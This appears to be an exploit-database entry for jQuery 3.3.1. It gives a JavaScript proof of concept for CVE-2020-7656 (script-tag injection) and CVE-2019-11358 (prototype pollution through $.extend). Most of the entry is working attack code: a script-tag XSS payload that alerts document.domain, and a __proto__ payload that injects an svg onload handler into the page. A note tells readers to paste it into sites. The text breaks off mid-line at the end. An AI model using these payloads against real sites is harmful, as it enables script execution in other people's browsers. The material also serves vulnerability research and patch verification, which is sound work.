# Exploit Title: jQuery Prototype Pollution & XSS Exploit (CVE-2019-11358 & CVE-2020-7656)

# Google Dork: N/A

# Date: 2025-02-13

# Exploit Author: xOryus

# Vendor Homepage: https://jquery.com

# Software Link: https://code.jquery.com/jquery-3.3.1.min.js

# Version: 3.3.1

# Tested on: Windows 10, Ubuntu 20.04, Chrome 120, Firefox 112

# CVE : CVE-2019-11358, CVE-2020-7656

# Category: WebApps

# Description:

# This exploit abuses two vulnerabilities in jQuery:

# - CVE-2020-7656: XSS via improper script handling

# - CVE-2019-11358: Prototype Pollution leading to XSS

# By injecting payloads into a vulnerable page using jQuery <3.4.X, attackers can execute arbitrary JavaScript in the victim's browser.

#

# Usage:

# 1. Load this script in a page that includes jQuery 3.3.1

# 2. Observe two XSS alerts via script injection and prototype pollution.

# PoC (Proof of Concept):

# ------------------------------------

/*

* Exploit for CVE-2020-7656 and CVE-2019-11358

* Injects malicious JavaScript into a vulnerable page using jQuery <3.4.X

*/

COPY ALL PAYLOAD AND INSERT ON SITE AND IN BROWSER CONSOLE (F12)

// 1. Load vulnerable jQuery (version 3.3.1)

const script = document.createElement('script');

script.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js";

document.head.appendChild(script);

// 2. Function to execute after jQuery is loaded

script.onload = function() {

    console.log("[+] Vulnerable jQuery loaded!");

    // 3. Inject malicious content for XSS (CVE-2020-7656)

    const maliciousContent = "<script>alert('XSS via CVE-2020-7656: ' + document.domain)</script >"; // Space after </script>

    $('body').append(maliciousContent);

    console.log("[+] XSS payload (CVE-2020-7656) injected. Alert will be displayed.");

    // 4. Exploit Prototype Pollution (CVE-2019-11358)

    const defaultConfig = {

        "backLink": "<a href='https://example.com'>Go Back</a>"

    };

    const maliciousParams = {

        "__proto__": {

            "backLink": "<svg onload=alert('XSS via CVE-2019-11358: Prototype Pollution!')>"

        }

    };

    // 5. Merge objects using vulnerable $.extend

    let config = $.extend(true, defaultConfig, maliciousParams);

    console.log("[+] Prototype Pollution executed via $.extend().");

    // 6. Create a container to inject malicious content

    const container = document.createElement('div');

    container.id = 'backLinkContainer';

    document.body.appendChild(container);

    // 7. Inject malicious content into the DOM

    $('#backLinkContainer').html(config.backLink);

    console.log("[+] XSS payload (CVE-2019-11358) injected into the DOM. Alert will be displayed.");

};

// 8. Instruction message

console.log("